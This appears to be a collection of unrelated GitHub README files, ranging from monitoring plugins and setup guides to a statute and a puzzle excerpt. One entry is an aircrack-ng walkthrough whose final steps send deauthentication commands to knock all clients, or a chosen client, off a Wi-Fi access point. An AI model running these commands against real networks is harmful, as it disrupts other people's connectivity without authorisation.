text:
# Plugin for monitoring GitHub

## Plugin installation
___
### Prerequisites
* To monitor your github account we need an username , repository name and a Personal Access Token.

	Please refer this link to create "Personal Access Token" with read access- https://help.github.com/en/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line

### Plugin configuration
---

* Create a directory "git_hub".

* Download the files "git_hub.py" , "git_hub.cfg" and place it under the "git_hub" directory

		wget https://raw.githubusercontent.com/site24x7/plugins/master/git_hub/git_hub.py

		wget https://raw.githubusercontent.com/site24x7/plugins/master/git_hub/git_hub.cfg

- Follow the steps in [this article](https://support.site24x7.com/portal/en/kb/articles/updating-python-path-in-a-plugin-script-for-linux-servers) to update the Python path in the git_hub.py script.

* Open the "git_hub.cfg" file and add the configuration details to it.
	Sample configuration file looks like:
	#git_hub.cfg

		[display_name]
		user_name="user@github"
		personal_access_token="123ascejsfnkl"
		repo_name="Sample_repo1"

	display_name denotes - plugin monitor name to be displayed in site24x7 client

	user_name denotes - user name of the github account

	personal_access_token denotes - personal access token created for the github account

	repo_name denotes - actual repository name to be monitored

* If you have more than one repositories needs to be monitored create one more section and configure it as above.

* Move the directory "git_hub" under Site24x7 Linux Agent plugin directory - /opt/site24x7/monagent/plugins/git_hub

The agent will automatically execute the plugin within five minutes and user can see the plugin monitor under Site24x7 > Plugins > Plugin Integrations.

### Metrics captured
---
* notifications
* deployments
* milestones
* releases
* pullrequests
* downloads
* issues
* merges
* issues_comments
* comments
* commits
* subscription
* contributors
* subscribers
* assignees
* events
* issue_events
* teams
* collaborators
* is_private_repository
* default_branch
* created_at
* repository_name


text:
# Anki CLI Program
This is a small python program which helps you adding Anki cards on AnkiWeb through the command line.

## How to Start
Install PhantomJS

`pip3 install selenium`

`python3 anki_cli.py`

## How to Use it
First off, you have to add your AnkiWeb Username and Password into the program. After that, start the program and decide which deck you want to add cards to. Lastly, just add cards and press `Ctrl+c` when you're done.

repository: NWuensche/ankicli

branch_name: refs/heads/master

extension: md

license_type: permissive

repo_name: NWuensche/ankicli


text:
# Exercise: Authentication & Authorization

Part 1:

Create a Keyspace "myspace" and a Table "users" in the Keyspace. Then create a user "heinz". Grant user heinz SELECT permission to this Table. Test with user heinz if it has worked.

Part 2:

Now REVOKE the SELECT permission on myspace.users from heinz and see if he can still SELECT.

repository: markusklems/learning-cassandra

repo_name: markusklems/learning-cassandra


text:
<!--
This README describes the package. If you publish this package to pub.dev,
this README's contents appear on the landing page for your package.

For information about how to write a good package README, see the guide for
[writing package pages](https://dart.dev/guides/libraries/writing-package-pages).

For general information about developing packages, see the Dart guide for
[creating packages](https://dart.dev/guides/libraries/create-library-packages)
and the Flutter guide for
[developing packages and plugins](https://flutter.dev/developing-packages).
-->

Snowball stemmers for multiple languages.

## Features

This package facilitates the compiled stemmers from this project: https://github.com/snowballstem/snowball

Included stemmers:

- arabic,
- armenian,
- basque,
- catalan,
- danish,
- dutch,
- english,
- finnish,
- french,
- german,
- greek,
- hindi,
- hungarian,
- indonesian,
- irish,
- italian,
- lithuanian,
- nepali,
- norwegian,
- porter,
- portuguese,
- romanian,
- russian,
- serbian,
- spanish,
- swedish,
- tamil,
- turkish,
- yiddish

## Getting started

## Usage

```dart
import 'package:snowball_stemmer/snowball_stemmer.dart';

SnowballStemmer stemmer = SnowballStemmer(Algorithm.english);
print(stemmer.stem('stemming'));
```

## Additional information

license: MIT

branch_name: refs/heads/main

gha_language: Dart


text:
# rhosc-hawtio-ui-tests
This repository is created specifically for Red Hat Open Source Contest (RHOSC). It contains automated UI tests for [HawtIO](https://hawt.io/) project.

The current test suite has limited functionality and it is cropped version of real life project.

Designed specifically for Red Hat Open Source Contest purpose.

## Prerequisite
### Required basic skills
- Java
- Maven
- HTML, CSS, XPath

### Good to know
- Cucumber framework
- Selenium and Selenide frameworks

## The main goals of this project are:
- Review what already is implemented and if it is needed - refactor\fix\remove
- Come up with new test scenarios\cases\strategies
- Develop automated UI tests based on test scenarios\cases
- Make issue reports if some bugs were found while developing new tests

## Getting started
### Test suite setup
1. Make sure you have Java, Maven and Git installed and configured in your machine

2. Clone this repository
    ```
    git clone https://github.com/jsolovjo/rhosc-hawtio-ui-tests.git
    ```
3. Create a new branch from master

4. Develop new UI tests - enjoy and have a fun!

5. Command to run all tests
   ```
   mvn clean install -Dhawtio -Dhawtio.[spring-boot|karaf] -Dbrowser=chrome
   ```

6. Command to specific run tests (for instance, tests designed for Help page)
   ```
   mvn clean install -Dhawtio -Dhawtio.[spring-boot|karaf] -Dbrowser=chrome -Dtest=RunHelpTests
   ```

## Test application setup and run
### HawtIO on Spring Boot 1
1. Clone HawtIO project
    ```
    git clone https://github.com/hawtio/hawtio.git
    ```

2. Go to `.../hawtio/` and build the project with command `mvn clean install`

3. Go to `.../hawtio/examples/springboot-authentication/` and run the command: `mvn spring-boot:run`

4. Open `http://localhost:10001/actuator/hawtio/` in your web browser

5. Login credentials:
Username: `hawtio`
Password: `hawtio`

Next steps are for having simple Camel quickstart:

1. Go to `.../hawtio/examples/springboot-authentication/`

2. Open and edit `pom.xml` and add the following dependency:
    ```
    <dependency>
        <groupId>org.apache.camel</groupId>
        <artifactId>camel-spring-boot-starter</artifactId>
        <version>2.17.0</version> <!-- use the same version as your Camel core version -->
    </dependency>
    ```

3. Go to `.../hawtio/examples/springboot-authentication/src/main/java/io/hawt/example/spring/boot` and add a new Java class with the following content:
    ```
    package com.example;

    import org.apache.camel.builder.RouteBuilder;
    import org.springframework.stereotype.Component;

    @Component
    public class MyRoute extends RouteBuilder {

        @Override
        public void configure() throws Exception {
            from("timer:foo").to("log:bar");
        }
    }
    ```

### HawtIO in Karaf
1. Download [Karaf Runtime Binary Distribution](https://karaf.apache.org/download.html)

2. Follow the steps from the [docs](https://karaf.apache.org/get-started.html) how to get started with Karaf

3. Deploy HawtIO on Karaf following the steps from [here](https://hawt.io/docs/get-started/#deploying-on-apache-karaf)

4. Run the quickstarts following the steps from [here](https://blog.stackleader.com/camel/2016/05/02/deploy-apache-camel-quickstart-karaf.html)

5. Open `http://localhost:8181/hawtio/` in your web browser

6. Login credentials:
Username: `karaf`
Password: `karaf`

## Source links
### HawtIO project
[https://github.com/hawtio/hawtio](https://github.com/hawtio/hawtio)

### Camel Spring Boot starter
[https://camel.apache.org/components/latest/spring-boot.html#SpringBoot-CamelSpringBootStarter](https://camel.apache.org/components/latest/spring-boot.html#SpringBoot-CamelSpringBootStarter)

### Apache Karaf
[https://karaf.apache.org/](https://karaf.apache.org/)

### Apache Camel Quickstarts
[https://blog.stackleader.com/camel/2016/05/02/deploy-apache-camel-quickstart-karaf.html](https://blog.stackleader.com/camel/2016/05/02/deploy-apache-camel-quickstart-karaf.html)

repository: jsolovjo/rhosc-hawtio-ui-tests

gha_language: Java

repo_name: jsolovjo/rhosc-hawtio-ui-tests


text:
# Run your favorite Python package in R

A code sample that shows you how to call the [Labs Recent Search endpoint](https://developer.twitter.com/en/docs/labs/recent-search/overview) using the Python package [Requests](https://requests.readthedocs.io/en/master/) inside of R. There is a [blog post](https://blog.twitter.com/developer/en_us/topics/tips/2020/running-the-python-package-for-search-tweets-in-r.html) on a related code sample available as well.

For this sample to run you will need to set up a configuration file with your secrets, a sample of this can be found under `secret.yaml`. Be sure to add your `secret.yaml` to your `.gitignore` and check out [our guide on securing keys and tokens](https://developer.twitter.com/en/docs/basics/authentication/guides/securing-keys-and-tokens).

Created by [Jessica Garson](https://twitter.com/jessicagarson) using [R Studio](https://rstudio.com/).

## Support

Create a [new issue](https://github.com/twitterdev/search-tweets-python-in-r/issues) on GitHub.

## Contributing

We feel that a welcoming community is important and we ask that you follow Twitter's
[Open Source Code of Conduct](https://github.com/twitter/code-of-conduct/blob/master/code-of-conduct.md)
in all interactions with the community.

## License

Copyright 2020 Twitter, Inc.

Licensed under the Apache License, Version 2.0: https://www.apache.org/licenses/LICENSE-2.0


text:
# Test mini dataguru
## Getting Started

### Installing Dependencies

#### Python 3.7

Follow instructions to install the latest version of python for your platform in the [python docs](https://docs.python.org/3/using/unix.html#getting-and-installing-the-latest-version-of-python)

#### Virtual Enviornment

We recommend working within a virtual environment . This keeps your dependencies for each project separate and organaized.

```bash
pip install virtualenv
cd YOUR_PROJECT_DIRECTORY_PATH/
virtualenv env
source env/bin/activate
```
More instructions for setting up a virual enviornment for your platform can be found in the [python docs](https://packaging.python.org/guides/installing-using-pip-and-virtual-environments/)

#### PIP Dependencies

Once you have your virtual environment setup and running, install dependencies by naviging to the `/backend` directory and running:

```bash
pip install -r requirements.txt
```

This will install all of the required packages we selected within the `requirements.txt` file.

##### Key Dependencies

- [Flask](http://flask.pocoo.org/)  is a lightweight backend microservices framework. Flask is required to handle requests and responses.

- [SQLAlchemy](https://www.sqlalchemy.org/) is the Python SQL toolkit and ORM we'll use handle the lightweight sqlite database. You'll primarily work in app.py and can reference models.py.

- [Flask-CORS](https://flask-cors.readthedocs.io/en/latest/#) is the extension we'll use to handle cross origin requests from our frontend server.

- [unittest](https://docs.python.org/3.8/library/unittest.html) Python testing framework.

#### Running the server

From within the `src` directory first ensure you are working using your created virtual environment.

To run the server, execute:

```bash
python app.py
```

The application by default runs in debug mode, on port 5000.

## API REFERENCE

### Endpoints

- GET '/images?page={number}'
- POST '/images'
- GET '/tags'
- POST '/tags'
- GET '/images/{image_id}/tags'
- POST '/images/{image_id}/tags'
- GET '/tags/{tag_id}/images?page={number}'

##### GET '/images?page={number}'
- Fetches the available images paginated by 10, given a page number which is by default 1
- Request Arguments: None
- Response sample:

```json
{
    "images": [
        {
            "id": 6,
            "name": "Untitled.jpg",
            "type": "jpg",
            "url": "/home/ooo/Workshop/monk/src/uploads/Untitled.jpg"
        }
    ],
    "success": true,
    "total_images": 1
}

```
##### POST '/images'
- Uploads and creates a new image.
- Request Arguments: Required
    - file: Form-Data file key
- Response sample:

```json
{
    "image": {
        "id": 7,
        "name": "clownfish.jpg",
        "type": "jpg",
        "url": "/home/ooo/Workshop/monk/src/uploads/clownfish.jpg"
    },
    "success": true
}
```

##### GET '/tags'
- Fetches the available tags
- Request Arguments: None
- Response sample:

```json
{
    "success": true,
    "tags": [
        {
            "id": 3,
            "name": "Cat"
        }
    ],
    "total_tags": 1
}
```

##### POST '/tags'
- Uploads and creates a new image.
- Request Arguments: Required
    - name: String
- Response sample:

```json
{
    "success": true,
    "tag": {
        "id": 4,
        "name": "Dog"
    }
}
```

##### GET '/images/{image_id}/tags'
- Fetches all the tags on a certain image identified by `image_id`
- Request Arguments: None
- Response sample:

```json
{
    "success": true,
    "tags": [
        {
            "id": 3,
            "name": "Cat"
        }
    ]
}

```
##### POST '/images/{image_id}/tags'
- Add a new tag to a given image identified by `image_id`.
- Request Arguments: Required
    - id: Int
- Response sample:

```json
{
    "message": "Added tag 4 to image 3.",
    "success": true
}

```

##### GET '/tags/{tag_id}/images?page={number}'
- Fetches all images with a given tag identified by `tag_id` paginated by 10
- Request Arguments: None
- Response sample:

```json
{
    "images": [
        {
            "id": 3,
            "name": "Untitled5.jpg",
            "type": "jpg",
            "url": "/home/ooo/Workshop/monk/src/uploads/Untitled5.jpg"
        }
    ],
    "success": true
}
```

## API ERROR CODES:

 - 400: bad request
 - 422: unprocessable
 - 404: resource not found
 - 405: method not allowed
 - 401: unauthorized
 - 500: internal server error
 - 200: ok

## Testing
To run the tests, execute:

```
createdb monk_test
python test_app.py
```

## License

This project is licensed under the MIT License. See the [LICENSE.md](LICENSE) file for details.

## Author

Created by [Hamza Alalach](https://twitter.com/Hamzaalalach) for Monk.

repository: hamzaalalach/Test-mini-dataguru

repo_name: hamzaalalach/Test-mini-dataguru


text:
* 03/02/2022 - 1.0.0
    * Remove support for Python 2.
* 09/12/2014 - 0.2.2
	* Fix autostatic inside markdown links/images when quotes are html-escaped.
* 21/09/2014 - 0.2.1
	* Change the syntax for the no-space {static...} tag.
	* Add support for a reference syntax similar to the {filename} reference which exists in Pelican.
* 21/09/2014 - 0.2.0
	* Add version of {static...} with no spaces so it can be used inside Markdown inline images.
	* Support RELATIVE_URLS = True.
* 26/08/2014 - 0.1.0
	* Initial release.

repository: AlexJF/pelican-autostatic

gha_language: Python

repo_name: AlexJF/pelican-autostatic


text:
---
title: "Running Servers Offline"
slug: "running-servers-offline"
---

* toc
{:toc}

{%
include callout.html
type="danger"
title="Not Recommended"
content="This is not a simple alternative for users behind a firewall. If you are running FarmBot in an organization with strict security policies or firewalls, see our notes [for IT security professionals](https://software.farm.bot/docs/for-it-security-professionals).

Do not run an offline setup unless you are a software developer intending to modify (fork) the FarmBot software suite."
%}

# NTP and offline servers
Since the Raspberry Pi does not have a real-time clock, FarmBot OS _must_ have access to an [NTP server](https://en.wikipedia.org/wiki/Network_Time_Protocol) for proper operation. This is essential for functionality such as encryption and proper scheduling of Events. Without a reliable network time source, FarmBot's clock will skew rapidly, leading to system failure.

Under normal conditions, FarmBot OS will use the publicly accessible `pool.ntp.org` server.

If you wish to run a server offline, you will be required to host your own NTP server. When running WiFi configuration, you will need to set the server address manually under the "Advanced Network Settings" panel.

An internet search will reveal many self-hosted NTP server packages. We do not provide assistance to end-users with NTP server setup.

# Support
Running FarmBot completely offline is not a use case that FarmBot Inc targets when developing software. It is highly likely you will encounter bugs since this is not the default use case for a FarmBot.

Please [raise an issue](https://github.com/FarmBot/Farmbot-Web-App/issues/new?title=Offline%20Setup%20Issues) if you find a bug while running FarmBot in an offline-only setup. Reporting offline setup issues helps us fix problems in future releases, but be advised that offline setups are a lower priority than internet-enabled setups. As such, **we may not have the resources to fix offline-only setup issues**. Bug fixes from community members (in the form of pull requests) are highly appreciated.


text:
# Performing DoS Attack with AirCrack Toolkit

1.  Killing wireless interface blocking processes
```
airmon-ng check kill
```

2. Switching wireless interface into monitoring mode
```
airmon-ng start wlan0
```

3.  Sniffing wireless traffic on all channels
```
airodump-ng wlan0mon
```

4. Sniffing wireless traffic on selected channel (channel 1 in following example)
```
airodump-ng -c 1 wlan0mon
```

5. Sniffing wireless traffic on selected channel and selected AP MAC
```
airodump-ng -c 1 --bssid 1c:1d:86:b6:c4:e0 wlan0mon
```

6. Performing DoS attack to disconnect all clients connected to the provided Access Point (AP)
    - Run the following command in new terminal window in parallel with airodump-ng command
```
airelay-ng -0 0 -a 1c:1d:86:b6:c4:e0 wlan0mon
```

7. Performing DoS attack to disconnect selected client connected to the provided Access Point (AP)
    - Run the following command in new terminal window in parallel with airodump-ng command
```
airelay-ng -0 0 -a 1c:1d:86:b6:c4:e0 -c c2:f1:81:e6:77:f4 wlan0mon
```

gha_license_id: MIT


text:
---
layout: page
title: About
permalink: /about/
---

Pawel Szymczykowski is a maker / tinkerer / coder / event organizer / talker / doer type person currently residing in Las Vegas, NV. His name is pronounced like [Pa-vewl Shim-chi-kov-ski](https://www.youtube.com/watch?v=WVZfC6PmXcI). If you prefer emoji, that's :paw_prints: :bell: :fried_shrimp: :hatching_chick: :coffee: :ski:.

He currently works at [Wedgies](http://wedgies.com), but has worked at other places like [Zappos](http://www.zappos.com) too.

### Projects

- [VegasJS](http://javascript.vegas) - Las Vegas JavaScript meetup (organizer)
- [Maker Faire Vegas](http://makerfairevegas.com) - Las Vegas Mini Maker Faire (organizer)
- [Make : JavaScript Robotics](http://www.amazon.com/Make-JavaScript-Johnny-Five-Raspberry-BeagleBone/dp/1457186950) - Wrote the chapter on delta robots & kinematics (co-author)
- [SumobotKit](http://sumobotkit.com) - Open source robot chassis for nodebots and more
- [DangerToGo](http://dangertogo.com) - Something something Zelda
- [Lathe-R-Beam](http://makenai.github.io/Lathe-R-Beam) - Make 3D models using a virtual late

### Talks

- [1x1 GIFs](https://www.youtube.com/watch?v=ZfPmuuH8f6g) - JSFest 2014 / DHTMLConf 2000

### Contact me

[makenai@gmail.com](mailto:makenai@gmail.com)


text:
# VPS scripts

## Overview

This should provide a set of simple shell scripts which may help setting your
Debian Squeeze VPS.

## Quick usage

1. Download: wget -q https://github.com/downloads/TigersWay/VPS/vps-0.5.tar.gz --no-check-certificate -O - | tar xz
2. Run: bash vps.sh

You will then find 3 main options:

* minimal (Light Debian server + SSH)
* basics (hostname, timezone, APT sources)
* lowendbox (LEA style: syslogd, xinetd, dropbear)

and a set of different commands:

* dotdeb
* apache
* nginx
* mysql
* phpfpm
* lamp ((Apache + MySQL(MyISAM) + PHP5-FPM)
* lemp (nginx + MySQL(MyISAM) + PHP5-FPM)
* domain <[subdomain.]domain.tld>
* polipo (Light-weight SOCKS & HTTP proxy)
* tinyproxy (DEPRECATED Light-weight HTTP/HTTPS proxy)
* pptp (Tunneling)

As a developer, I personally first run
`bash vps.sh basics lowendbox` which gives me a light (~ 5M) box, then
`bash vps.sh dotdeb apache nginx mysql phpfmp domain dev.example.com` and I am then able to switch apache and nginx anytime with
`bash vps.sh nginx` or
`bash vps.sh apache`.

## History

### 0.5 03/04/2012
* bench
 * detect OpenVZ
* lxmp
 * separate DotDeb source
* vpn/pptp

### 0.4 16/03/2012
* setup
 * squeeze-proposed-updates to squeeze-updates
 * BuyVM's mirrors
* bench
 * now shows guarantee/burst memory.
 * new echo style
* proxy
 * tinyproxy deprecated
 * polipo = new proxy with tunneling capabilities

## Copyright and License

Copyright (c) 2012 Benoit Michaud / Tiger's Way

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

 IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

repository: deFRAGerNZ/VPS

repo_name: deFRAGerNZ/VPS


text:
---
layout: post
title: "Who is the St Margarets Association of Residents?"
permalink: /archives/2006/04/who_is_the_st_m.html
commentfile: 2006-04-10-who_is_the_st_m
category: around_town
date: 2006-04-10 22:35:07
excerpt: |
    After posting the Reply to Residents Group Letter on Proposed Indoor Soft Play Area article, we recieved a  number of emails asking who the _St Margarets Association of Residents_ was, so we asked them to pass along some information.

    Turns out they didn't have a website, so we have hosted a page for them here

---

After posting the [Reply to Residents Group Letter on Proposed Indoor Soft Play Area](/archives/2006/03/reply_to_reside.html) article, we recieved a number of emails asking who the *St Margarets Association of Residents* was, so we asked them to pass along some details.

They replied that they

> "are an informal organisation of volunteers -- this means we are reactive rather than proactive. Albeit informal, the Association has a structure consisting of chairman, vice chairman, secretary and treasurer, plus a number of helpers generous with their time and effort. Most of them have lived in the village since before the Association's formation ... Now 24 years old, the Association was founded in response to the redevelopment of the old site -- the one on which St Margarets Business Centre is located today -- in order to ensure that the Centre's activities did not impact negatively on the 650-odd households that comprise St Margarets village."

Turns out they didn't have a website either, so we have hosted a page for them [here](/static/info/smar.html) if you are interested in learning more.

repository: pmahnke/stmgrts

gha_language: HTML

repo_name: pmahnke/stmgrts


text:
[Back to table of contents](README.md)

[Join DASH-IF on Slack!](https://join.slack.com/t/dashif/shared_invite/zt-egme869x-JH~UPUuLoKJB26fw7wj3Gg)

# Local environment setup

Follow the instructions on this page to set up a complete local installation of the document authoring tools.

Simple editing operations may also be possible online on GitHub, without any local installation.

Advanced users are free to deviate from these instructions if they have familiar alternatives that can fulfill the same goals.

# Prerequisites

You need one of the following operating systems:

* Windows 10
* Recent version of your preferred Linux distribution with a desktop environment

MacOS compatibility is unknown but theoretically likely. Please report any success or failure in Slack if you try macOS!

You must have administrator-level access to the system (or ask someone with such an access level to perform the setup).

# Overview

The following software will be installed:

* Visual Studio Code - this is the preferred text editor for document authoring.
* PlantUML plugin for Visual Studio Code - a sequence/component diagram generator.
* yEd - a boxes-and-arrows diagram editor.
* DASH-IF PowerShell module for document authoring - generates the final output documents.
* Git - for synchronizing local files with GitHub repositories.
* Java - a prerequisite for several of the above apps.
* Graphviz - a prerequisite for PlantUML.
* wkhtmltopdf - a prerequisite for the document compiler.

The following chapters guide you through setting up all of this. You may need to slightly deviate from these instructions if your working environment is unusual.

# Install Java

Java is a prerequisite of various parts of the workflow.

If you already have Java installed, skip this chapter. You can test by executing `java -version` in a terminal window. If this command succeeds and shows a version string, you already have Java.

On Windows, the preferred version of Java is OpenJDK 11.

1. [Download the latest version 11 .MSI file](https://github.com/ojdkbuild/ojdkbuild/releases) (the filename should be similar to `java-11-openjdk-<IP_ADDRESS>-1.ojdkbuild.windows.x86_64.msi`).
1. Execute this MSI file and follow the displayed instructions to finish installing Java.
    1. If you get a SmartScreen warning popup, click "More Info" and "Run anyway" to bypass it.
    1. Leave all the options in the installer at their default values.
1. Open a new terminal window and verify that the `java -version` command succeeds.

If using Linux, contact your Linux distribution vendor for instructions on installing Java.

# Install Graphviz

Graphviz is a prerequisite for PlantUML.

On Windows:

1. [Download the Graphviz 2.38 .MSI file](https://graphviz.gitlab.io/_pages/Download/Download_windows.html).
1. Execute the .MSI file and follow its instructions.

If using Linux, contact your Linux distribution vendor for instructions on installing Graphviz.

# Install wkhtmltopdf

Wkhtmltopdf is a prerequisite for the DASH-IF document compiler.

On Windows, this component is embedded in the document compiler - skip this chapter.

If using Linux, contact your Linux distribution vendor for instructions on installing wkhtmltopdf.

# Install PowerShell

PowerShell is required to execute the document compiler that transforms source text into final output HTML and PDF.

PowerShell is already included with Windows, so skip this chapter if using Windows.

On Linux, you can test whether you have PowerShell by executing `pwsh --version` in a terminal window. If this command succeeds and shows a version string, you already have PowerShell.

[Follow Microsoft instructions for installing PowerShell Core](https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux?view=powershell-6).

Note: PowerShell and PowerShell Core are different variants of the same product. This workflow supports both.

# Install Visual Studio Code

Visual Studio Code is the preferred text editor for document authoring.

NB! This is **Visual Studio Code**, not Visual Studio. The two are entirely different products!

If using Windows:

1. [Download the Visual Studio Code 64-bit User Installer](https://code.visualstudio.com/Download).
1. Execute the installer and follow its instructions.
    1. If you get a "not meant to be run as Administrator" warning, click OK to ignore it.
    1. Select the installation options as shown on the below screenshot.

![](Images/VsCode - SetupChoices.png)

If using Linux, [refer to Microsoft documentation on Visual Studio Code setup](https://code.visualstudio.com/docs/setup/linux).

# Install and configure Git

Git enables your local files to be synchronized with the files on GitHub.

If you already have Git installed, skip this chapter. You can test by executing `git --version` in a terminal window. If this command succeeds and shows a version string, you already have Git.

If using Windows:

1. [Download the Git for Windows installer](https://git-scm.com/download/win).
1. Execute the installer and follow its instructions.
    1. When the installer asks to select a text editor, select Visual Studio Code.
    1. When the installer asks to select a HTTPS transport backend, select Windows Secure Channel.
    1. Leave all other options at their default values.
1. Open a new terminal window and verify that the `git --version` command succeeds.

If using Linux, contact your Linux distribution vendor for instructions on installing Git.

After installation, you will need to inform Git who you are. This information is embedded into every change you commit. Execute the following commands, replacing the data with your own contact information:

1. `git config --global user.name "Your Name Here"`
1. `git config --global user.email<EMAIL_ADDRESS>
# Install yEd

yEd is a diagram editor for basic boxes-and-arrows style diagrams.

[Download the appropriate yEd installer](https://www.yworks.com/downloads#yEd) and follow the installer's instructions.

Depending on your operating system, there are multiple different yEd installers available. Select the one from the "yEd Graph Editor" chapter that says "Includes a suitable Java 11 JRE" when multiple options are available.

The default styling of yEd diagrams is "unique". We will adjust that by importing some custom themed elements. [Download and extract yEdPalettes.zip](yEdPalettes.zip) in a temporary location.

![](Images/yEd - ImportSection.png)

1. Open yEd and right click on an existing entry in the Palette pane.
1. Select Import Section.
1. Select the files extracted from yEdPalettes.zip and click Open.
1. Some new entries should now have appeared at the bottom of the Palette list.

You can delete the temporary files once they have been imported.

# Install the PlantUML plugin for Visual Studio Code

PlantUML is a diagram generation language, enabling diagrams to be written as text, from which images are later generated.

1. Open the Extensions sidebar pane in Visual Studio Code.
1. Install the PlantUML extension.

![](Images/VsCode - PlantUML.png)

Refer to the [Visual Studio Code documentation](https://code.visualstudio.com/docs/editor/extension-gallery) if you experience any difficulties.

# Install the DASH-IF document authoring PowerShell module

This module provides the document compiler that you can use to transform your source files into the final output document.

1. Open Windows PowerShell or PowerShell Core.
    * On Linux, the relevant command is `pwsh`.
1. Execute `Install-Module BikeshedDocumentAuthoring -Scope CurrentUser`
    * You may need to answer Yes to a few prompts.

If you encounter failures on Windows during installation, you may need to execute the PowerShell command `Set-ExecutionPolicy RemoteSigned` to enable PowerShell script execution. The default configuration is to block all scripts, though this is often already corrected by organization policy.

# Validate the installation

If all went well, you should now have a working document authoring environment set up! Let's validate it by downloading and compiling an example document.

1. Open Visual Studio Code.
1. First you need to create a local copy of the document repository by **cloning** it to your PC.
    1. Press F1 to open the command palette.
    1. Type "Git: Clone" and press enter to activate this command.
    1. Enter `https://github.com/Dash-Industry-Forum/DocumentAuthoringExample.git` as the repository URL.
    1. A dialog will pop up. Select a directory to store the repository in. A subdirectory with the repository name will automatically be created in this directory.
1. A popup "Do you want to open the cloned repository" will display. Click the open button.
1. Explore the files that make up the document repository. Use the Explorer pane on the sidebar to navigate.
    1. `MyDocument.bs.md` contains the main body of the document.
    1. The `Images` directory contains static images and yEd diagram files.
    1. The Diagrams directory contains source code for PlantUML diagrams generated from text.
1. You can preview PlantUML diagrams in Visual Studio Code.
    1. Open `Diagrams/SequenceDiagram.wsd`.
    1. Press F1 to open the command palette.
    1. Activate the "PlantUML: Preview Current Diagram" command.
    1. A preview of the diagram will appear.
    1. Make some changes in the diagram text and save the file. Notice that the preview updates automatically.
1. yEd diagrams are edited in yEd and manually exported as static images after editing.
    1. Open `Images/PresentationTimeOffset.graphml` in yEd. NB! Opening this file in Visual Studio Code will just display some XML, which is not useful for editing.
    1. Make some changes on the diagram contents and save the file.
    1. Select File->Export and export the diagram in PNG format as `PresentationTimeOffset.png` in the same directory. Say Yes when asked to confirm overwrite.
    1. In the Image Export dialog, specify the following options for the optimal visual result:
        * Clipping->Margin: 5
        * Image->Transparent Background: True
1. Open PowerShell or PowerShell core and navigate to the directory containing the repository files.
1. Execute `Import-Module BikeshedDocumentAuthoring`.
    * If you get an error saying "cannot be loaded because running scripts is disabled on this system" then run PowerShell as Administrator and execute `Set-ExecutionPolicy RemoteSigned`. After this, try again.
1. Execute `Invoke-DocumentCompiler`.

![](Images/Compile.png)

The last step will create an Output subdirectory, in which you will find HTML and PDF files with the generated documents. Repeat the last command to generate a new document containing any updates you have made.

# Learn how to use Git

The most complex part of the document authoring workflow is the usage of Git to synchronize changes between your PC and GitHub. The complexity comes from two aspects:

1. Obscure and difficult to understand terminology used by Git.
1. Detecting and resolving conflicts in the work of multiple authors.

Read up on how Git workflows operate and try to survive the barrage of surprises it throws at you.

# Software updates

You may want to repeat the installation instructions from time to time to apply bugfixes and security updates to each of the above components.

Some components have special instructions for updates:

* To update the PowerShell module, execute `Update-Module BikeshedDocumentAuthoring`.
* Visual Studio Code automatically updates itself - no action needed.
* The PlantUML plugin automatically updates itself - no action needed.

repository: Dash-Industry-Forum/DocumentAuthoring

gha_language: PowerShell

repo_name: Dash-Industry-Forum/DocumentAuthoring


text:
### [CVE-2017-0311](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0311)
![](https://img.shields.io/static/v1?label=Product&message=GPU%20Display%20Driver&color=blue)
![](https://img.shields.io/static/v1?label=Version&message=n%2Fa&color=blue)
![](https://img.shields.io/static/v1?label=Vulnerability&message=Denial%20of%20Service%2C%20Escalation%20of%20Privileges&color=brighgreen)

### Description

NVIDIA GPU Display Driver R378 contains a vulnerability in the kernel mode layer handler where improper access control may lead to denial of service or possible escalation of privileges.

### POC

#### Reference
No PoCs from references.

#### Github
- https://github.com/thdusdl1219/CVE-Study

repository: trickest/cve

repo_name: trickest/cve


text:
---
hrs_structure:
  division: '1'
  volume: '1'
  title: '2'
  chapter: '11'
  section: 11-339
type: hrs_section
tags:
  - Government
menu:
  hrs:
    identifier: HRS_0011-0339
    parent: HRS0011
    name: >-
      11-339 Final election period report for candidate committee or
      noncandidate committee receiving and expending $1,000 or less during the
      election period
weight: 20695
title: >-
  Final election period report for candidate committee or noncandidate committee
  receiving and expending $1,000 or less during the election period
full_title: >-
  11-339 Final election period report for candidate committee or noncandidate
  committee receiving and expending $1,000 or less during the election period
---
**[§****11-339] Final election period report for candidate committee or noncandidate committee** **receiving and expending $1,000 or less during the election period.** (a) Any provision of law to the contrary notwithstanding, a candidate committee or noncandidate committee whose aggregate contributions and aggregate expenditures for the election period total $1,000 or less, shall electronically file only a final election period report, and need not file a preliminary and final primary report, a preliminary and final general report, or a special election report.

(b) Until the candidate committee's or noncandidate committee's registration is terminated as provided in section 11-326, supplemental reports and other reports required by this part shall be filed. [L 2010, c 211, pt of §2]

repository: SamMade/BlueAndKrabby

repo_name: SamMade/BlueAndKrabby


text:
original source: [https://adventofcode.com/2016/day/25](https://adventofcode.com/2016/day/25)
## --- Day 25: Clock Signal ---
You open the door and find yourself on the roof. The city sprawls away from you for miles and miles.

There's not much time now - it's already Christmas, but you're nowhere near the North Pole, much too far to deliver these stars to the sleigh in time.

However, maybe the *huge antenna* up here can offer a solution. After all, the sleigh doesn't need the stars, exactly; it needs the timing data they provide, and you happen to have a massive signal generator right here.

You connect the stars you have to your prototype computer, connect that to the antenna, and begin the transmission.

Nothing happens.

You call the service number printed on the side of the antenna and quickly explain the situation. "I'm not sure what kind of equipment you have connected over there," he says, "but you need a clock signal." You try to explain that this is a signal for a clock.

